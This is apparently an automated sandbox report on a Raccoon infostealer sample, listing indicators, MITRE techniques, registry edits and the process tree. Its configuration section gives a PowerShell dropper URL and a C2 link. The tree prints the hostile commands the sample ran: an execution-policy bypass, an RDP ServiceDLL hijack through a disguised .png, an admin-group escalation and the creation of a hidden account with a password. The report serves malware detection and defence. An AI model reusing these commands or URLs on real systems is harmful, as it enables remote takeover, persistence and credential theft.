raccoon | 8fa841c71a956755f6f393ca92a04d0a6950343a7a765a3035f4581dda198488

Analysis

max time kernel
60s
max time network
151s
platform
windows10_x64
resource
win10v20210410
submitted
04-06-2021 08:04

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General

Target

798f0fce3485b678647690e3fa01b6be.exe
Size

567KB
MD5

798f0fce3485b678647690e3fa01b6be
SHA1

538cba8492b57c83bb21a28dc33cbcfd77058b01
SHA256

8fa841c71a956755f6f393ca92a04d0a6950343a7a765a3035f4581dda198488
SHA512

6ffaa58a03c159aecd3c86b9f1199a94c8b97dddfdf0eef1aaa528dba78b4ad8c66019bde1b2119e9cef961442e5ef3c2b95cb3b723829ba744de64b18404da9

Score

10^/10

raccoon 89ac909b803bacbc6cc523520599c4b9c029b033 discovery persistence spyware stealer upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

89ac909b803bacbc6cc523520599c4b9c029b033

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
20	3532	powershell.exe
22	3532	powershell.exe
23	3532	powershell.exe
24	3532	powershell.exe
26	3532	powershell.exe
28	3532	powershell.exe
30	3532	powershell.exe
32	3532	powershell.exe
34	3532	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
2152	XfkRrAZJGQ.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000a000000000695-235.dat	upx
behavioral2/files/0x0009000000015518-236.dat	upx

Loads dropped DLL 8 IoCs

pid	Process
2388	798f0fce3485b678647690e3fa01b6be.exe
2388	798f0fce3485b678647690e3fa01b6be.exe
2388	798f0fce3485b678647690e3fa01b6be.exe
2388	798f0fce3485b678647690e3fa01b6be.exe
2388	798f0fce3485b678647690e3fa01b6be.exe
2388	798f0fce3485b678647690e3fa01b6be.exe
1304	Process not Found
1304	Process not Found

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_jgpyxi3k.l5s.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA60A.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA62C.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA61B.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA63C.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA5EA.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_brq31ar5.avx.psm1	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1380	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1400 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\e1be3f182420a0a0 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones,"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1120	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	24	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	26	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3820	powershell.exe
3820	powershell.exe
3820	powershell.exe
3748	powershell.exe
3748	powershell.exe
3748	powershell.exe
2704	powershell.exe
2704	powershell.exe
2704	powershell.exe
2304	powershell.exe
2304	powershell.exe
2304	powershell.exe
3820	powershell.exe
3820	powershell.exe
3820	powershell.exe
3532	powershell.exe
3532	powershell.exe
3532	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
628	Process not Found
628	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3820	powershell.exe
Token: SeDebugPrivilege	3748	powershell.exe
Token: SeIncreaseQuotaPrivilege	3748	powershell.exe
Token: SeSecurityPrivilege	3748	powershell.exe
Token: SeTakeOwnershipPrivilege	3748	powershell.exe
Token: SeLoadDriverPrivilege	3748	powershell.exe
Token: SeSystemProfilePrivilege	3748	powershell.exe
Token: SeSystemtimePrivilege	3748	powershell.exe
Token: SeProfSingleProcessPrivilege	3748	powershell.exe
Token: SeIncBasePriorityPrivilege	3748	powershell.exe
Token: SeCreatePagefilePrivilege	3748	powershell.exe
Token: SeBackupPrivilege	3748	powershell.exe
Token: SeRestorePrivilege	3748	powershell.exe
Token: SeShutdownPrivilege	3748	powershell.exe
Token: SeDebugPrivilege	3748	powershell.exe
Token: SeSystemEnvironmentPrivilege	3748	powershell.exe
Token: SeRemoteShutdownPrivilege	3748	powershell.exe
Token: SeUndockPrivilege	3748	powershell.exe
Token: SeManageVolumePrivilege	3748	powershell.exe
Token: 33	3748	powershell.exe
Token: 34	3748	powershell.exe
Token: 35	3748	powershell.exe
Token: 36	3748	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeIncreaseQuotaPrivilege	2704	powershell.exe
Token: SeSecurityPrivilege	2704	powershell.exe
Token: SeTakeOwnershipPrivilege	2704	powershell.exe
Token: SeLoadDriverPrivilege	2704	powershell.exe
Token: SeSystemProfilePrivilege	2704	powershell.exe
Token: SeSystemtimePrivilege	2704	powershell.exe
Token: SeProfSingleProcessPrivilege	2704	powershell.exe
Token: SeIncBasePriorityPrivilege	2704	powershell.exe
Token: SeCreatePagefilePrivilege	2704	powershell.exe
Token: SeBackupPrivilege	2704	powershell.exe
Token: SeRestorePrivilege	2704	powershell.exe
Token: SeShutdownPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeSystemEnvironmentPrivilege	2704	powershell.exe
Token: SeRemoteShutdownPrivilege	2704	powershell.exe
Token: SeUndockPrivilege	2704	powershell.exe
Token: SeManageVolumePrivilege	2704	powershell.exe
Token: 33	2704	powershell.exe
Token: 34	2704	powershell.exe
Token: 35	2704	powershell.exe
Token: 36	2704	powershell.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeIncreaseQuotaPrivilege	2304	powershell.exe
Token: SeSecurityPrivilege	2304	powershell.exe
Token: SeTakeOwnershipPrivilege	2304	powershell.exe
Token: SeLoadDriverPrivilege	2304	powershell.exe
Token: SeSystemProfilePrivilege	2304	powershell.exe
Token: SeSystemtimePrivilege	2304	powershell.exe
Token: SeProfSingleProcessPrivilege	2304	powershell.exe
Token: SeIncBasePriorityPrivilege	2304	powershell.exe
Token: SeCreatePagefilePrivilege	2304	powershell.exe
Token: SeBackupPrivilege	2304	powershell.exe
Token: SeRestorePrivilege	2304	powershell.exe
Token: SeShutdownPrivilege	2304	powershell.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeSystemEnvironmentPrivilege	2304	powershell.exe
Token: SeRemoteShutdownPrivilege	2304	powershell.exe
Token: SeUndockPrivilege	2304	powershell.exe
Token: SeManageVolumePrivilege	2304	powershell.exe
Token: 33	2304	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2388 wrote to memory of 2152	2388	798f0fce3485b678647690e3fa01b6be.exe	79
PID 2388 wrote to memory of 2152	2388	798f0fce3485b678647690e3fa01b6be.exe	79
PID 2388 wrote to memory of 3952	2388	798f0fce3485b678647690e3fa01b6be.exe	80
PID 2388 wrote to memory of 3952	2388	798f0fce3485b678647690e3fa01b6be.exe	80
PID 2388 wrote to memory of 3952	2388	798f0fce3485b678647690e3fa01b6be.exe	80
PID 3952 wrote to memory of 1380	3952	cmd.exe	82
PID 3952 wrote to memory of 1380	3952	cmd.exe	82
PID 3952 wrote to memory of 1380	3952	cmd.exe	82
PID 2152 wrote to memory of 3820	2152	XfkRrAZJGQ.exe	83
PID 2152 wrote to memory of 3820	2152	XfkRrAZJGQ.exe	83
PID 3820 wrote to memory of 2892	3820	powershell.exe	85
PID 3820 wrote to memory of 2892	3820	powershell.exe	85
PID 2892 wrote to memory of 3732	2892	csc.exe	86
PID 2892 wrote to memory of 3732	2892	csc.exe	86
PID 3820 wrote to memory of 3748	3820	powershell.exe	87
PID 3820 wrote to memory of 3748	3820	powershell.exe	87
PID 3820 wrote to memory of 2704	3820	powershell.exe	90
PID 3820 wrote to memory of 2704	3820	powershell.exe	90
PID 3820 wrote to memory of 2304	3820	powershell.exe	92
PID 3820 wrote to memory of 2304	3820	powershell.exe	92
PID 3820 wrote to memory of 1212	3820	powershell.exe	94
PID 3820 wrote to memory of 1212	3820	powershell.exe	94
PID 3820 wrote to memory of 1120	3820	powershell.exe	95
PID 3820 wrote to memory of 1120	3820	powershell.exe	95
PID 3820 wrote to memory of 4088	3820	powershell.exe	96
PID 3820 wrote to memory of 4088	3820	powershell.exe	96
PID 3820 wrote to memory of 2148	3820	powershell.exe	97
PID 3820 wrote to memory of 2148	3820	powershell.exe	97
PID 2148 wrote to memory of 3784	2148	net.exe	98
PID 2148 wrote to memory of 3784	2148	net.exe	98
PID 3820 wrote to memory of 744	3820	powershell.exe	99
PID 3820 wrote to memory of 744	3820	powershell.exe	99
PID 744 wrote to memory of 1592	744	cmd.exe	100
PID 744 wrote to memory of 1592	744	cmd.exe	100
PID 1592 wrote to memory of 3152	1592	cmd.exe	101
PID 1592 wrote to memory of 3152	1592	cmd.exe	101
PID 3152 wrote to memory of 752	3152	net.exe	102
PID 3152 wrote to memory of 752	3152	net.exe	102
PID 3820 wrote to memory of 3548	3820	powershell.exe	103
PID 3820 wrote to memory of 3548	3820	powershell.exe	103
PID 3548 wrote to memory of 1492	3548	cmd.exe	104
PID 3548 wrote to memory of 1492	3548	cmd.exe	104
PID 1492 wrote to memory of 2284	1492	cmd.exe	105
PID 1492 wrote to memory of 2284	1492	cmd.exe	105
PID 2284 wrote to memory of 2396	2284	net.exe	106
PID 2284 wrote to memory of 2396	2284	net.exe	106
PID 2616 wrote to memory of 2728	2616	cmd.exe	110
PID 2616 wrote to memory of 2728	2616	cmd.exe	110
PID 2728 wrote to memory of 796	2728	net.exe	111
PID 2728 wrote to memory of 796	2728	net.exe	111
PID 3948 wrote to memory of 2148	3948	cmd.exe	114
PID 3948 wrote to memory of 2148	3948	cmd.exe	114
PID 2148 wrote to memory of 2752	2148	net.exe	115
PID 2148 wrote to memory of 2752	2148	net.exe	115
PID 3288 wrote to memory of 744	3288	cmd.exe	118
PID 3288 wrote to memory of 744	3288	cmd.exe	118
PID 744 wrote to memory of 3784	744	net.exe	119
PID 744 wrote to memory of 3784	744	net.exe	119
PID 3212 wrote to memory of 1772	3212	cmd.exe	122
PID 3212 wrote to memory of 1772	3212	cmd.exe	122
PID 1772 wrote to memory of 3532	1772	net.exe	123
PID 1772 wrote to memory of 3532	1772	net.exe	123
PID 1380 wrote to memory of 3764	1380	cmd.exe	126
PID 1380 wrote to memory of 3764	1380	cmd.exe	126

C:\Users\Admin\AppData\Local\Temp\798f0fce3485b678647690e3fa01b6be.exe
"C:\Users\Admin\AppData\Local\Temp\798f0fce3485b678647690e3fa01b6be.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2388
- C:\Users\Admin\AppData\Local\Temp\XfkRrAZJGQ.exe
  "C:\Users\Admin\AppData\Local\Temp\XfkRrAZJGQ.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3820
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jacslsk4\jacslsk4.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2892
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6B81.tmp" "c:\Users\Admin\AppData\Local\Temp\jacslsk4\CSC78E3A215782F48DD9CB5172249BAE1F.TMP"
        5⤵
        
        PID:3732
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3748
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2704
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2304
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1212
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:1120
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:4088
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2148
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:3784
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:744
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1592
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3152
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:752
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3548
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1492
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2284
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:2396
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1120
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:2616
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\798f0fce3485b678647690e3fa01b6be.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:1380

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:2616
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:796

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc b1mq90yo /add
1⤵
- Suspicious use of WriteProcessMemory
PID:3948
- C:\Windows\system32\net.exe
